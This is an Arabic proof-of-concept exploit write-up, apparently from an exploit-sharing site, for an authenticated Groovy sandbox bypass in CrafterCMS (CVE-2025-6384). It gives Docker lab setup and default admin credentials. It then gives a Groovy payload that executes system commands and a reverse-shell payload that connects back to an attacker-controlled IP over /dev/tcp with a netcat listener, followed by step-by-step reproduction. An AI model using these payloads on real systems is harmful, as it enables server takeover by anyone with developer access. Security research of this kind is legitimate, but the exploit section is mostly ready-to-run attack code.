CrafterCMS Authenticated RCE - Groovy Sandbox Bypass (CVE-2025-6384)

إثبات مفهوم لثغرة تنفيذ الأوامر عن بُعد (RCE) مصادق عليها في CrafterCMS.

ملخص الثغرة

يمكن للمستخدم المصادق الذي لديه صلاحيات مطور تجاوز صندوق الحماية الخاص بنصوص Groovy في Crafter Studio لتحقيق تنفيذ الأوامر عن بُعد (RCE). يفشل صندوق الحماية في منع إنشاء مثيل جديد لـ GroovyShell، والذي يمكن استخدامه لإنشاء بيئة تنفيذ جديدة غير مقيدة.

• المنتج: CrafterCMS
• المكوّن: Crafter Studio
• الثغرة: تنفيذ الأوامر عن بُعد مصادق عليه عبر تجاوز صندوق حماية Groovy (CWE-913)
• التأثير: اختراق كامل للخادم

إعداد المختبر / النشر

يمكنك نشر مثيل ضعيف من CrafterCMS بسرعة للاختبار باستخدام ملفات Docker Compes الرسمية.

1. استنساخ مستودع docker-compose من CrafterCMS:

   root@kitploit:~

   git clone https://github.com/craftercms/docker-compose.git
   

2. الانتقال إلى دليل بيئة التأليف:

   root@kitploit:~

   cd docker-compose/authoring
   

3. تشغيل الحاويات. سيقوم هذا بتنزيل الصور اللازمة وبدء تشغيل حزمة CrafterCMS.

   root@kitploit:~

   docker-compose up
   

   (ملاحظة: قد تحتاج إلى sudo حسب تثبيت Docker لديك.)

4. الانتظار حتى يتم تهيئة الخدمات بالكامل. يمكنك الوصول إلى Crafter Studio على http://localhost:8080/studio.

   • اسم المستخدم الافتراضي: admin
   • كلمة المرور الافتراضية: admin

إثبات المفهوم (PoC)

بينما يقوم صندوق الحماية بحظر طرق التنفيذ المباشرة بشكل صحيح، فإنه يسمح بالحمولة التالية، والتي تنشئ غلاف Groovy جديد غير محميّ.

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- أمرك هنا
def result = shell.evaluate("'''${command}'''.execute().text")

// يتم طباعة المخرجات في سجلات الخادم
System.err.println("[RCE-PoC] " + result)

استغلال RCE: الصدفة العكسية

توضح هذه الحمولة تنفيذ أوامر كامل (RCE) عن طريق إنشاء صدفة عكسية تعود إلى جهاز يتحكم به المهاجم.

1. بدء مستمع

على جهازك، ابدأ مستمعًا (على سبيل المثال، باستخدام netcat) لاستقبال الاتصال الوارد:

nc -lvnp 4444

2. تحضير الحمولة

استخدم نص Groovy التالي كحمولة. تذكر استبدال <YOUR_IP> و <YOUR_PORT> بعنوان IP ومنفذ المستمع الخاصين بك.

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // أو <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// استخدام علامات اقتباس ثلاثية للتعامل مع سلسلة الأمر بسهولة
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("تم تنفيذ حمولة الصدفة العكسية.")

خطوات إعادة الإنتاج

1. تسجيل الدخول إلى Crafter Studio (http://localhost:8080/studio) باستخدام بيانات الاعتماد الافتراضية (admin / admin).

2. الانتقال إلى Site Config -> Scripts.

3. النقر على Create/Edit Script تحت قسم "Groovy Scripts".

   

4. اختيار نوع نص سيتم تنفيذه، مثل Request Interceptor.

5. لصق حمولة PoC في محرر النصوص وحفظها.

   

6. تشغيل النص عن طريق زيارة أي صفحة على الموقع (مثل http://localhost:8080).

7. التحقق من سجلات الأخطاء القياسية للخادم لرؤية مخرجات الأمر.

   • بالنسبة لـ PoC، اعثر على معرف الحاوية وتحقق من سجلاتها لمخرجات الأمر:
   root@kitploit:~

   docker-compose logs -f crafter
   

   المخرجات المتوقعة:

   root@kitploit:~

   GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
   

   
   • بالنسبة ، تحقق من مستمع . يجب أن تتلقى جلسة صدفة من الحاوية.

إخلاء المسؤولية

هذه المادة لأغراض تعليمية وبحثية فقط. المؤلف ليس مسؤولاً عن أي سوء استخدام أو ضرر ناتج عن هذه المعلومات.